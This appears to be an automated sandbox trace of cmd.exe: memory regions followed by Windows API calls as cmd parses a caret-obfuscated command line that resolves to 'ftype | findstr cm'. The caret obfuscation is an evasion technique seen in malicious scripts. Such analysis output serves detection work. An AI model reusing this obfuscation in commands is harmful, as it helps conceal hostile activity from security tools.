	              id = 1154
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 1155
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 1158
	        start_va = 0x230000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 1159
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1160
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1161
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1162
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1163
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1164
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1165
	        start_va = 0x70000
	          end_va = 0xd6fff
	     entry_point = 0x70000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1166
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 1167
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 1168
	        start_va = 0x330000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 1169
	        start_va = 0x4f0000
	          end_va = 0x4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004f0000"
	        filename = ""

Region:
	              id = 1170
	        start_va = 0x500000
	          end_va = 0x687fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000500000"
	        filename = ""

Region:
	              id = 1171
	        start_va = 0x690000
	          end_va = 0x810fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000690000"
	        filename = ""

Region:
	              id = 1172
	        start_va = 0x820000
	          end_va = 0x1c1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000820000"
	        filename = ""

Region:
	              id = 1173
	        start_va = 0x1c20000
	          end_va = 0x1f62fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c20000"
	        filename = ""

Region:
	              id = 1174
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1175
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1176
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1177
	        start_va = 0x7fee69d0000
	          end_va = 0x7fee69d7fff
	     entry_point = 0x7fee69d0000
	     region_type = mapped_file
	            name = "winbrand.dll"
	        filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll")

Region:
	              id = 1178
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1179
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1180
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1181
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1182
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1183
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1184
	        start_va = 0x1f70000
	          end_va = 0x206ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f70000"
	        filename = ""

Region:
	              id = 1185
	        start_va = 0x2070000
	          end_va = 0x233efff
	     entry_point = 0x2070000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")


Thread:
	id = 95
	os_tid = 0xb5c

	[0057.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f8f0 | out: lpSystemTimeAsFileTime=0x22f8f0*(dwLowDateTime=0xe4ee6a70, dwHighDateTime=0x1d475a6)) 
	[0057.747] GetCurrentProcessId () returned 0xb58
	[0057.747] GetCurrentThreadId () returned 0xb5c
	[0057.747] GetTickCount () returned 0x1e954
	[0057.747] QueryPerformanceCounter (in: lpPerformanceCount=0x22f8f8 | out: lpPerformanceCount=0x22f8f8*=1813692100000) returned 1
	[0057.749] GetModuleHandleW (lpModuleName=0x0) returned 0x49e40000
	[0057.749] __set_app_type (_Type=0x1) 
	[0057.749] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e67810) returned 0x0
	[0057.749] __getmainargs (in: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610, _DoWildCard=0, _StartInfo=0x49e6e0f4 | out: _Argc=0x49e8a608, _Argv=0x49e8a618, _Env=0x49e8a610) returned 0
	[0057.749] GetCurrentThreadId () returned 0xb5c
	[0057.749] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb5c) returned 0x3c
	[0057.750] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0057.750] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40
	[0057.750] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0057.750] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0057.750] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22f888 | out: phkResult=0x22f888*=0x0) returned 0x2
	[0057.750] VirtualQuery (in: lpAddress=0x22f870, lpBuffer=0x22f7f0, dwLength=0x30 | out: lpBuffer=0x22f7f0*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0057.750] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22f7f0, dwLength=0x30 | out: lpBuffer=0x22f7f0*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0057.750] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22f7f0, dwLength=0x30 | out: lpBuffer=0x22f7f0*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0057.750] VirtualQuery (in: lpAddress=0x134000, lpBuffer=0x22f7f0, dwLength=0x30 | out: lpBuffer=0x22f7f0*(BaseAddress=0x134000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0057.750] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22f7f0, dwLength=0x30 | out: lpBuffer=0x22f7f0*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x7d000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0057.750] GetConsoleOutputCP () returned 0x1b5
	[0057.750] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0057.751] SetConsoleCtrlHandler (HandlerRoutine=0x49e63184, Add=1) returned 1
	[0057.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0057.751] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0
	[0057.751] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0057.751] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x49e6e194 | out: lpMode=0x49e6e194) returned 0
	[0057.751] _get_osfhandle (_FileHandle=0) returned 0x3
	[0057.751] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e6e198 | out: lpMode=0x49e6e198) returned 1
	[0057.751] GetEnvironmentStringsW () returned 0x27bf40*
	[0057.756] FreeEnvironmentStringsW (penv=0x27bf40) returned 1
	[0057.756] GetEnvironmentStringsW () returned 0x27bf40*
	[0057.758] FreeEnvironmentStringsW (penv=0x27bf40) returned 1
	[0057.758] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e748 | out: phkResult=0x22e748*=0x44) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x0, lpData=0x22e760*=0x18, lpcbData=0x22e744*=0x1000) returned 0x2
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x1, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x0, lpData=0x22e760*=0x1, lpcbData=0x22e744*=0x1000) returned 0x2
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x0, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x40, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x40, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x0, lpData=0x22e760*=0x40, lpcbData=0x22e744*=0x1000) returned 0x2
	[0057.758] RegCloseKey (hKey=0x44) returned 0x0
	[0057.758] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e748 | out: phkResult=0x22e748*=0x44) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x0, lpData=0x22e760*=0x40, lpcbData=0x22e744*=0x1000) returned 0x2
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x1, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x0, lpData=0x22e760*=0x1, lpcbData=0x22e744*=0x1000) returned 0x2
	[0057.758] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x0, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.759] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x9, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.759] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x4, lpData=0x22e760*=0x9, lpcbData=0x22e744*=0x4) returned 0x0
	[0057.759] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e740, lpData=0x22e760, lpcbData=0x22e744*=0x1000 | out: lpType=0x22e740*=0x0, lpData=0x22e760*=0x9, lpcbData=0x22e744*=0x1000) returned 0x2
	[0057.759] RegCloseKey (hKey=0x44) returned 0x0
	[0057.759] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4c
	[0057.759] srand (_Seed=0x5be14a4c) 
	[0057.759] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c  ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m "
	[0057.759] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c  ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m "
	[0057.759] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0057.759] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fa3e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0057.759] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0057.759] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0057.759] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0057.759] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0057.759] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0057.759] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0057.759] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0057.759] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0057.759] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0057.759] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0057.760] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0057.760] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0057.760] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0057.760] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22f550 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0057.760] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x22f550, lpFilePart=0x22f530 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22f530*="Desktop") returned 0x19
	[0057.760] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0057.760] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x22f260 | out: lpFindFileData=0x22f260) returned 0x27bda0
	[0057.760] FindClose (in: hFindFile=0x27bda0 | out: hFindFile=0x27bda0) returned 1
	[0057.760] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x22f260 | out: lpFindFileData=0x22f260) returned 0x27bda0
	[0057.760] FindClose (in: hFindFile=0x27bda0 | out: hFindFile=0x27bda0) returned 1
	[0057.760] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x22f260 | out: lpFindFileData=0x22f260) returned 0x27bda0
	[0057.760] FindClose (in: hFindFile=0x27bda0 | out: hFindFile=0x27bda0) returned 1
	[0057.760] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0057.761] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0057.761] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0057.761] GetEnvironmentStringsW () returned 0x27bf40*
	[0057.761] FreeEnvironmentStringsW (penv=0x27bf40) returned 1
	[0057.761] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0057.761] GetConsoleOutputCP () returned 0x1b5
	[0057.761] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0057.761] GetUserDefaultLCID () returned 0x409
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22f660, cchData=128 | out: lpLCData="0") returned 2
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22f660, cchData=128 | out: lpLCData="0") returned 2
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22f660, cchData=128 | out: lpLCData="1") returned 2
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0057.762] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0057.762] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0057.763] GetConsoleTitleW (in: lpConsoleTitle=0x1fa4110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0057.763] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0057.763] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0057.763] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0057.763] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0057.764] _wcsicmp (_String1="ftYpe", _String2=")") returned 61
	[0057.764] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5
	[0057.764] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5
	[0057.764] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3
	[0057.764] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3
	[0057.764] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12
	[0057.764] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12
	[0057.764] _wcsicmp (_String1="FOR", _String2="fiNdStr") returned 6
	[0057.764] _wcsicmp (_String1="FOR/?", _String2="fiNdStr") returned 6
	[0057.764] _wcsicmp (_String1="IF", _String2="fiNdStr") returned 3
	[0057.764] _wcsicmp (_String1="IF/?", _String2="fiNdStr") returned 3
	[0057.764] _wcsicmp (_String1="REM", _String2="fiNdStr") returned 12
	[0057.764] _wcsicmp (_String1="REM/?", _String2="fiNdStr") returned 12
	[0057.765] _pipe (in: _PtHandles=0x2e3b80, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x2e3b80) returned 0
	[0057.765] _dup (_FileHandle=1) returned 5
	[0057.766] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0
	[0057.766] _close (_FileHandle=4) returned 0
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16
	[0057.766] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="START") returned -13
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3
	[0057.767] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16
